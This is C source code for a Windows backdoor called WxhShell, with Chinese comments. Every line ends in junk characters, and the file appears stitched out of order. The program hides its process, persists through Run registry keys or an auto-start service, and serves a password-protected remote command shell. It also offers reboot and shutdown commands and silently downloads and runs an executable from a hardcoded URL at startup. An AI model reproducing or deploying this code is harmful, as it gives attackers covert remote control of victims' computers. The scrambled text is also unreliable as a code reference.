    if(Boot(SHUTDOWN)) ~V3pj('/)'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y}(#kqh>  
    else { ]5D?Sc#-  
    closesocket(wsh); DV +DJcF  
    ExitThread(0); #9z\Wblr  
    } ry}CND(nB  
    break; 'LIJpk3J  
    } Q%~b(4E^7P  
  // 获取shell {>>ozB.  
  case 's': { p"ht|x  
    CmdShell(wsh); FCQIfJ#  
    closesocket(wsh); <x DD*u  
    ExitThread(0); ^.jIus5  
    break; PIP2(-{ai  
  } SiHZco I  
  // 退出 k <ds7k1m  
  case 'x': { R^P~iAO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P7d" E  
    CloseIt(wsh); 4lC:svF  
    break; Q/4g)(~J  
    } q.i@Lvu#  
  // 离开 Q)yhpwrX  
  case 'q': { t6_6Bl:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?m#X";^V  
    closesocket(wsh); uy{mSx?td  
    WSACleanup(); +#O?a`f  
    exit(1); 69(z[opW  
    break; fKIwdk%!-  
        } : :8UVLX  
  } Hx2.2 A^  
  } C/%umazP9  
ftsr-3!Vm  
  // 提示信息 -tZ2 N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x, a[ p\1  
} 95^w" [}4Q  
  } h";G vjy  
("o <D{A  
  return; Y>Q9?>}Q  
} P"W$ZX  
;^xlDN  
// shell模块句柄 ftF?T.dx  
int CmdShell(SOCKET sock) OM{-^  
{ By6C+)up  
STARTUPINFO si; F6Zl#eL  
ZeroMemory(&si,sizeof(si)); KbVV[ *  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7qA);N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K97lP~Hu  
PROCESS_INFORMATION ProcessInfo; z.oDH<1  
char cmdline[]="cmd"; K,%H*1YKK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IJO`"da  
  return 0; "QACQ-  
} Y&`Vs(  
$bh2zKB)  
// 自身启动模式 2fTkHBhn&  
int StartFromService(void) %yJL-6U  
{ l*("[?>I  
typedef struct N:[m,U9a  
{ 3Gf^IV-  
  DWORD ExitStatus; A_T-]YQ  
  DWORD PebBaseAddress; zMt"ST.  
  DWORD AffinityMask; g"( vl-Uw  
  DWORD BasePriority; ,XCC#F(d1  
  ULONG UniqueProcessId; :h0as!2@dp  
  ULONG InheritedFromUniqueProcessId; v>.nL(VLjP  
}   PROCESS_BASIC_INFORMATION; PTIC2  
W&}YM b  
PROCNTQSIP NtQueryInformationProcess; V=k!&xN~  
1K^blOLXe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qfvd( w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8qp!S1Qnv  
\bqNjlu  
  HANDLE             hProcess; IyIh0B~i  
  PROCESS_BASIC_INFORMATION pbi; "2+>!G RQ  
g$kK)z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~el#pf~  
  if(NULL == hInst ) return 0; wKe^5|Rr  
j[m\;3Sp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #nX0xV5=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _)p@;vGV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n99:2r_  
yEtI5Qk  
  if (!NtQueryInformationProcess) return 0; jii2gtu'U  
X_+`7yCi"x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .\X/o!xC  
  if(!hProcess) return 0; zA9N<0[]o  
cQzd0X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [wRk )kl`  
oh%T4 $  
  CloseHandle(hProcess); VXZdRsV8T  
HnUM:-6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q{b ZD*  
if(hProcess==NULL) return 0; f[.RAHjk  
pZ+zm6\$  
HMODULE hMod; %>Z=#1h/a  
char procName[255]; 03J,NXs  
unsigned long cbNeeded; pK1P-!c  
tz j]c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8|{:N>7  
X}0NeG^'O  
  CloseHandle(hProcess); X|L.fB=  
jWiZ!dtUZ  
if(strstr(procName,"services")) return 1; // 以服务启动 ,;;M69c[ x  
7 ;|jq39  
  return 0; // 注册表启动 N'Ywn}!js  
} HGfYL')Z  
+VDwDJ)lG  
// 主模块 dP T)&  
int StartWxhshell(LPSTR lpCmdLine) f|WNPFQ$x  
{ 'SY jEhvw  
  SOCKET wsl; n7 4?W  
BOOL val=TRUE; muT+H(Zp}  
  int port=0; /],:sS7  
  struct sockaddr_in door; P9:7_Vc  
!w]!\H  
  if(wscfg.ws_autoins) Install(); y1c Aw   
6=Kl[U0Y  
port=atoi(lpCmdLine); RZjTUMAz4  
[WXtR  
if(port<=0) port=wscfg.ws_port; dE_BV=H{  
x% k4Lm  
  WSADATA data; .Di+G-#aEs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '`T.K<  
v+znKpE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^TVy :5Ag  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y mY,*Rb  
  door.sin_family = AF_INET; hZY+dHa]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kWjCSC>jA  
  door.sin_port = htons(port); J [2;&-@  
0?BT*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ooc,R(  
closesocket(wsl); Zla5$GM  
return 1; Ag }hyIl  
} ?qAX *j  
zu(/ c  
  if(listen(wsl,2) == INVALID_SOCKET) { Ec8Y}C,{7<  
closesocket(wsl); cInzwdh7  
return 1; BqvOi~ l  
} )_ NQ*m  
  Wxhshell(wsl); FfI $3:9  
  WSACleanup(); D *Siy;  
\! Os!s  
return 0;  DC]FY|ff  
g v&xC 6>  
} +z+25qWi  
^(V!vI*  
// 以NT服务方式启动 rs~RKTv-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,aV89"}  
{ .ZxSJ"Rk  
DWORD   status = 0; W!4GL>9m}A  
  DWORD   specificError = 0xfffffff; }(Nb]_H  
<po.:c Ce  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `XP]y=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _Z#yI/5r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Os*,@N3t  
  serviceStatus.dwWin32ExitCode     = 0; {{ R/:-6?@  
  serviceStatus.dwServiceSpecificExitCode = 0; %LXk9K^]e  
  serviceStatus.dwCheckPoint       = 0; (=CV")tF  
  serviceStatus.dwWaitHint       = 0; *^=`HE89S  
k <A>J-|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7Nh6 `  
  if (hServiceStatusHandle==0) return; _I<eJ\  
[ k^6#TQcn  
status = GetLastError(); $bF.6  
  if (status!=NO_ERROR)  8y OzD  
{ /jC0[%~jV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kFHqQs aG  
    serviceStatus.dwCheckPoint       = 0; /e|`mu%  
    serviceStatus.dwWaitHint       = 0; 1FjA   
    serviceStatus.dwWin32ExitCode     = status; ]r$S{<  
    serviceStatus.dwServiceSpecificExitCode = specificError; Nj %!N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -1Lh="US  
    return; i:&Y{iPQp  
  } ZUQ1\Iw  
~ I]kY%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]8htJ]<|Q  
  serviceStatus.dwCheckPoint       = 0; C;oP"K]4=  
  serviceStatus.dwWaitHint       = 0; (5_l7hWY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uWG'AmK_#E  
} isj<lnQ  
NlU:e}zGR  
// 处理NT服务事件,比如:启动、停止 16keCG\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q_g'4VZv  
{ $T^O38$  
switch(fdwControl) 8|dl t$  
{ j08 G-_Gjn  
case SERVICE_CONTROL_STOP: FnP/NoZa>  
  serviceStatus.dwWin32ExitCode = 0; uB 6`e!Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tJUMLn?  
  serviceStatus.dwCheckPoint   = 0; U/&?rY^|  
  serviceStatus.dwWaitHint     = 0; $ZK4Ps -$  
  { ! D'U:)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pb{'t2kk  
  } |LcN_ ,}6  
  return; cwz %LKh  
case SERVICE_CONTROL_PAUSE: KB&t31aq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @>qzRo  
  break; Pgr>qcbql  
case SERVICE_CONTROL_CONTINUE: \hc}xy 0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y 8];MTl  
  break; 'hVOK(o 0  
case SERVICE_CONTROL_INTERROGATE: :?RooJ~#  
  break; 3.Ni%FF`  
}; qX0IHe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I:]s/r7  
} NqkRR$O  
?qHW"0Tjn  
// 标准应用程序主函数 gD _tBv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lk}R#n$  
{ QP7EPaW  
s8WA@)L  
// 获取操作系统版本 rP2^D[uM.  
OsIsNt=GetOsVer(); MGX,JW>L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (+@3Dr5o0}  
Vhz?9i6|g^  
  // 从命令行安装 '|J-8"  
  if(strpbrk(lpCmdLine,"iI")) Install(); }f^K}*sK$5  
g5V9fnb!d  
  // 下载执行文件 ;g^QH r  
if(wscfg.ws_downexe) { ?.v!RdM+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S%Pk@n`z]  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6%U1%;  
} Gw~^6(Qu  
J^ P/2a#a  
if(!OsIsNt) { cP$b>3O  
// 如果时win9x,隐藏进程并且设置为注册表启动 G&/}P$  
HideProc(); n2Dnpe:  
StartWxhshell(lpCmdLine); O(~`fN?n  
} Q'*-gg&)  
else }}cVPB7   
  if(StartFromService()) P;MS%32  
  // 以服务方式启动 fk*JoR.o  
  StartServiceCtrlDispatcher(DispatchTable); >f'n l  
else ^-~.L: }q  
  // 普通方式启动 .Ky<9h.K  
  StartWxhshell(lpCmdLine); / w_ Sc{  
H^K(1  
return 0; 'RQZU*8  
} &I:X[=;g  
Gd%6lab  
8BE OE<  
RW,ew!Z  
=========================================== z\_q`43U7  
5>KAVtYvc  
E0ud<'3<  
/B|#GJ\\3  
KKGAk\X  
 YDi_Gl$  
" WYRTt2(+%  
v^[tK2&v  
#include <stdio.h> .{5)$w>  
#include <string.h> wCMsaW  
#include <windows.h> Z)P x6\?+  
#include <winsock2.h> L(`^T`  
#include <winsvc.h> Yah3I@xGy  
#include <urlmon.h> 'bY^=9&|  
;l4rg!r(S  
#pragma comment (lib, "Ws2_32.lib") u5V<f;  
#pragma comment (lib, "urlmon.lib") *vJ1~SRV  
?F AsV&y  
#define MAX_USER   100 // 最大客户端连接数 qAR~js`5  
#define BUF_SOCK   200 // sock buffer !ye%A&  
#define KEY_BUFF   255 // 输入 buffer VG&|fekF  
%dw-}1X  
#define REBOOT     0   // 重启 W$:;MY>0f  
#define SHUTDOWN   1   // 关机 wE%v[q[*X  
$d,30hK  
#define DEF_PORT   5000 // 监听端口 B V+"uF  
~M(K{6R  
#define REG_LEN     16   // 注册表键长度 [xO^\oQa=c  
#define SVC_LEN     80   // NT服务名长度 x"8(j8e  
mC>7l7%  
// 从dll定义API 1_7x'5GdA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TjD`< k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %j2YCV7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r.-NfK4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =c-j4xna>  
JP!$uK{u  
// wxhshell配置信息 7<IrN\@U  
struct WSCFG { bxkp9o  
  int ws_port;         // 监听端口 1'c!9  
  char ws_passstr[REG_LEN]; // 口令 {(D$ Xb  
  int ws_autoins;       // 安装标记, 1=yes 0=no [Gh T.  
  char ws_regname[REG_LEN]; // 注册表键名 MyCX6+Ci)  
  char ws_svcname[REG_LEN]; // 服务名 ~;UK/OZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )uwpeq$j7l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {* >$aI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^5=}Y>EJO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0J@)?,V-.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \ts:'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G{+sC2  
=zqOkC h$  
}; PS`)6yn{_  
ghbxRnU}  
// default Wxhshell configuration n$5,B*  
struct WSCFG wscfg={DEF_PORT, a3HT1!M)  
    "xuhuanlingzhe", UgSSZ05Lq  
    1, LNXhzW   
    "Wxhshell", MCL?J,1?r  
    "Wxhshell", Y_Ej-u+>{  
            "WxhShell Service", #96E^%:zL  
    "Wrsky Windows CmdShell Service", ecA0z c~  
    "Please Input Your Password: ", B wtD!de$  
  1, jBI VZ!X  
  "http://www.wrsky.com/wxhshell.exe", w^G<]S {l  
  "Wxhshell.exe" |;OM,U2  
    }; qZKU=HM  
t+m$lqm  
// 消息定义模块 hJhdHy=U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~`T(mh',  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j\@s pbE@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iknBc-TLD  
char *msg_ws_ext="\n\rExit."; )3h=V^rm  
char *msg_ws_end="\n\rQuit."; Q&`$:h.~  
char *msg_ws_boot="\n\rReboot..."; LtejLCf/  
char *msg_ws_poff="\n\rShutdown..."; &IXr*I  
char *msg_ws_down="\n\rSave to "; sKn>K/4JZ  
:E4i@ O7%  
char *msg_ws_err="\n\rErr!"; cU%#oEMf<  
char *msg_ws_ok="\n\rOK!"; uZm<:d2%)  
A-ir   
char ExeFile[MAX_PATH]; > ^n'  
int nUser = 0; f`/JY!u j{  
HANDLE handles[MAX_USER]; ;P5\EJo  
int OsIsNt; saU|.\l  
H'?Bx>X  
SERVICE_STATUS       serviceStatus; -("79v>#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pa0tf:  
jY87N Hg  
// 函数声明 1ww|km  
int Install(void); &vdGKYs 6  
int Uninstall(void); kj@#oLd%  
int DownloadFile(char *sURL, SOCKET wsh); k5g\s9n]  
int Boot(int flag); |=jgrm1yj  
void HideProc(void); p_B,7@Jl  
int GetOsVer(void); <| Xf4.  
int Wxhshell(SOCKET wsl); $'?CY)h{  
void TalkWithClient(void *cs); jpm}EOq<%  
int CmdShell(SOCKET sock); VaVKWJg$  
int StartFromService(void); L!mQP  
int StartWxhshell(LPSTR lpCmdLine); akJ{-   
mQ VduG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1m}'Y@I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F4kU) i  
&rcr])jg[  
// 数据结构和表定义 W 86S)+h  
SERVICE_TABLE_ENTRY DispatchTable[] = 'qQ DM_+  
{ !Aunwq^  
{wscfg.ws_svcname, NTServiceMain}, ?D57HCd`n  
{NULL, NULL} \m5:~,p=  
}; <C# s0UX  
1PLKcU  
// 自我安装 ~z32%k  
int Install(void) jqb,^T|j;m  
{ Zu&trxnNf[  
  char svExeFile[MAX_PATH]; xhg{!w  
  HKEY key; .7~Kfm@2  
  strcpy(svExeFile,ExeFile); :T%,.sH  
n9cWvy&f  
// 如果是win9x系统,修改注册表设为自启动 I?bL4u$\  
if(!OsIsNt) { +-qD!(&-6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cpu+"/\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X=${`n%LG  
  RegCloseKey(key); c7 wza/r>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `1M_rG1/+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PM%./  
  RegCloseKey(key); P4R.~J ;8  
  return 0; Qbt fKn95  
    } |])%yRAGQ  
  } m_\CK5T_  
} rUx%2O|qu  
else { 3Y=T8Gi#  
OjrQ[`(E  
// 如果是NT以上系统,安装为系统服务 Y<a/(`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /R9>\}.y J  
if (schSCManager!=0) [h%_`8z  
{ {'>X6:  
  SC_HANDLE schService = CreateService 9Ki86  
  ( .}Bb :*@  
  schSCManager, Srol0D I  
  wscfg.ws_svcname, mz9Kwxe  
  wscfg.ws_svcdisp, {D`F$=Dlw  
  SERVICE_ALL_ACCESS, 'DntZK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0vQkm<  
  SERVICE_AUTO_START, LT'#0dCC  
  SERVICE_ERROR_NORMAL, D=9x/ ) *G  
  svExeFile, ,!sAr;Rk`  
  NULL,  2HQHC]  
  NULL, .!)7x3|$[  
  NULL, BN#^ /a-  
  NULL, mI0| lp 1$  
  NULL ks(PH6:]<  
  ); Z;WqKIM#  
  if (schService!=0) G=yQYsC$  
  { Jv7 @[<$  
  CloseServiceHandle(schService); r~t&;yRv  
  CloseServiceHandle(schSCManager); 4XX21<yn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M7jDV|Go  
  strcat(svExeFile,wscfg.ws_svcname); r10)1`[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mN@0lfk;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :*}tkr4&eh  
  RegCloseKey(key); ~a/yLI"'g  
  return 0; !B-&I E?  
    } `DWzp5Ax  
  } AbcLHV.  
  CloseServiceHandle(schSCManager); bs_I{bCu?  
} Hb!Q}V+Kb8  
} 60X B  
;&JMBn]J  
return 1; J8/>b{Y  
} :,GsbNKW  
nM R _ ?g  
// 自我卸载 !aLByMA  
int Uninstall(void) \ZCc~muR  
{ $t}L|"=8X  
  HKEY key; ap;*qiNFQ  
i$%;z~#wW  
if(!OsIsNt) { 63:ZDQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S&.DpsK  
  RegDeleteValue(key,wscfg.ws_regname); _|*3uGo:  
  RegCloseKey(key); !H?#~{ W}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jZm1.{[>  
  RegDeleteValue(key,wscfg.ws_regname); y6:=2(]w<p  
  RegCloseKey(key); `@Kh>K  
  return 0; Z~$&h  
  } {H"gp?Z-  
} IGv>0LOd@  
} V4V TP]'n  
else { d&R/fIm  
I&>R]DV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y1k""75  
if (schSCManager!=0) dzbzZ@y  
{ CHBCi) '6h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xwK<f6H!y  
  if (schService!=0) Y*J`Wf(w  
  { d/R:-{J)c  
  if(DeleteService(schService)!=0) { 9RR1$( f  
  CloseServiceHandle(schService); ~^Vt)/}Q  
  CloseServiceHandle(schSCManager); rl4daV&,U  
  return 0; kw=+"U   
  } A:NsDEt  
  CloseServiceHandle(schService); WdIr 3  
  } hnE@+(d=qJ  
  CloseServiceHandle(schSCManager);  $7|0{Dw  
} B;G|2um:$  
} {#Gr=iv~N  
`[o^w(l:5@  
return 1; 8a-[Q  
} A!iV iX &y  
C7qbofoV  
// 从指定url下载文件 of{wZU\J+9  
int DownloadFile(char *sURL, SOCKET wsh) /6L\`\g  
{ Fnll&TF  
  HRESULT hr; |q5\1}@:  
char seps[]= "/"; ??1V__w  
char *token; fyQAQZT  
char *file; =>ph\  
char myURL[MAX_PATH]; -Frx{3  
char myFILE[MAX_PATH]; G]q6Ika  
~>#=$#V   
strcpy(myURL,sURL); `<\AnhNW]I  
  token=strtok(myURL,seps); T(3"bS.,  
  while(token!=NULL) eeB^c/k(P  
  { .&}}ro48  
    file=token; ,h>0k`J:a  
  token=strtok(NULL,seps); Kr]F+erJe  
  } LvW9kL+WiQ  
(Ptv#LSUX  
GetCurrentDirectory(MAX_PATH,myFILE); ,gkxZ{Eh  
strcat(myFILE, "\\"); h-jea1m  
strcat(myFILE, file); G4<'G c  
  send(wsh,myFILE,strlen(myFILE),0); ;QgJw2G  
send(wsh,"...",3,0); ^>k[T.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wU+ofj; +I  
  if(hr==S_OK) !;iySRZr  
return 0; skZxR5v3~L  
else WnHf)(J`"  
return 1; c&F"tLl  
>@y5R^B`  
} >`s2s@Mx  
A")B<BK  
// 系统电源模块 jOEb1  
int Boot(int flag) !:e}d+F  
{ +J+]P\:  
  HANDLE hToken; X}Fc0Oo  
  TOKEN_PRIVILEGES tkp; tlvLbP*r  
ZH~m%sA  
  if(OsIsNt) { Hyq| %\A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CQ3;NY=o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s*(Y<Ap7d  
    tkp.PrivilegeCount = 1; 4MIL# 1s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; my*UN_]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /r}t  
if(flag==REBOOT) { E!3W_:Bs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) - n11L  
  return 0; n%Nf\z  
} a.c2ScXG  
else { ]6$NU [  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r=qb[4HiV  
  return 0; yuKfhg7  
} xE4T\%-K  
  } g-')|0py  
  else { { -<h5_h@  
if(flag==REBOOT) { <7)Vj*VxC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [ &R-YQ@  
  return 0; t{84ioJ"$  
} hDVD@b  
else { k)y0V:ZY]O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MLa]s* ; d  
  return 0; BflF*-s ^  
}  bQ  
} (:E^} &A  
Jq?ai8  
return 1; Ep?a1&b  
} ,'82;oP4  
Zf(ucAhL  
// win9x进程隐藏模块 mL3'/3-7:V  
void HideProc(void) n6ud;jN|  
{ O6boTB_2  
@@!t$dD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )"j_ NlO  
  if ( hKernel != NULL ) TKj9s'/  
  { % J+'7'g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^R K[-tVV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "$ u"Py  
    FreeLibrary(hKernel); nQ/(*d  
  } 8!:4m"Y  
nLo:\I(  
return; mN ~;MR;  
} C5;"mo-  
I#$u(2.H  
// 获取操作系统版本 CIYD'zR[2  
int GetOsVer(void) =B;rj  
{ ?uh7m 2l0D  
  OSVERSIONINFO winfo; jsk<N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a=C?fh  
  GetVersionEx(&winfo); k]I<%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]RGun GJ  
  return 1; %;ny  
  else :vV?Yv%P)n  
  return 0; bpKb<c  
} !f_Kq$.{  
Q.vtU%T  
// 客户端句柄模块 I /> .P  
int Wxhshell(SOCKET wsl) |@V<}2zCZ  
{ c$ 1ez  
  SOCKET wsh; &8~U&g6C  
  struct sockaddr_in client; *:GoS?Ma  
  DWORD myID; dL[mX .j"  
5r`g6@  
  while(nUser<MAX_USER) ! =|{  
{ Udd|.JRd  
  int nSize=sizeof(client); X*d,z~k%*d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _gw~A {O  
  if(wsh==INVALID_SOCKET) return 1; _(oJ8h(  
kdg Q -UN$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3#5sj >  
if(handles[nUser]==0) lC^q}Bh:  
  closesocket(wsh); VI37  
else $Fr$9 jq&  
  nUser++; Eepy%-\  
  } -C.eXR{s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $yc&f(Tv  
^\Jg {9a  
  return 0; h9SS o0]F  
} b:W]L3Z8  
C 5)G^  
// 关闭 socket o5AyJuS-u$  
void CloseIt(SOCKET wsh) ]]9eUw=  
{ "4Anh1,js  
closesocket(wsh); iOzw)<  
nUser--; % sT=>\  
ExitThread(0); ^Z2%b>  
} cl14FrpYu  
[.|tD  
// 客户端请求句柄 a-8~f8na{(  
void TalkWithClient(void *cs) ]Alu~Dw  
{ # Wh"_zpM+  
gp(w6 :w  
  SOCKET wsh=(SOCKET)cs;  EMJio\  
  char pwd[SVC_LEN]; 1 5rE|m^  
  char cmd[KEY_BUFF]; saYn\o"m  
char chr[1]; ]3Mm"7`  
int i,j; F~<$E*&h@  
e|]g ?!  
  while (nUser < MAX_USER) { _khQ  
7|"11^q  
if(wscfg.ws_passstr) { cUS2* 7h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C^l) n!fq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  @(Q4  
  //ZeroMemory(pwd,KEY_BUFF); &X +@,!  
      i=0; $mp7IZE|  
  while(i<SVC_LEN) { Lf7iOW9U3  
,]20I _  
  // 设置超时 PP$Ig2Q  
  fd_set FdRead; $"x(:  
  struct timeval TimeOut; 4!iS"QH?;^  
  FD_ZERO(&FdRead); i~k?k.t8  
  FD_SET(wsh,&FdRead); qdUlT*fw  
  TimeOut.tv_sec=8; F'|,(P  
  TimeOut.tv_usec=0; hq\KSFP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x"_f$,:!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); | M-@Qvgh  
/`2VJw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %xWmzdn  
  pwd=chr[0]; .{)b^gE  
  if(chr[0]==0xd || chr[0]==0xa) { Z&J417buk  
  pwd=0; ~5]AXi'e~  
  break; ZL~}B.nqS  
  } bNIT 1'v  
  i++; p 4(-  
    } p7 2+:I  
E/AM<eN  
  // 如果是非法用户,关闭 socket }{E//o:Ta  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [xM07%:  
} -7;RPHJs  
~+^,o_hT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p|Z"< I7p(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /"Rh bE   
KasOh"W.P  
while(1) { EYG&~a>L*  
y$\K@B4  
  ZeroMemory(cmd,KEY_BUFF); 7B+?1E(  
h :NHReMT  
      // 自动支持客户端 telnet标准   A+ Z3b:}~  
  j=0; KAEf4/  
  while(j<KEY_BUFF) { cF,u)+2b|6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D {>, 2hC  
  cmd[j]=chr[0]; 0Wv9K~F  
  if(chr[0]==0xa || chr[0]==0xd) { Tz%l 9aC  
  cmd[j]=0; LhV4 ^\+  
  break; j>0S3P,  
  } /A##Yv!biR  
  j++; F-_RL-hbN%  
    } Rp.@  
Ia>qVM0  
  // 下载文件 ^JY R^X>_  
  if(strstr(cmd,"http://")) { TSE(Kt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bYG}CO  
  if(DownloadFile(cmd,wsh)) Rra(/j<rQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o&I 0*~ sN  
  else y]cx}9~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f\/};a  
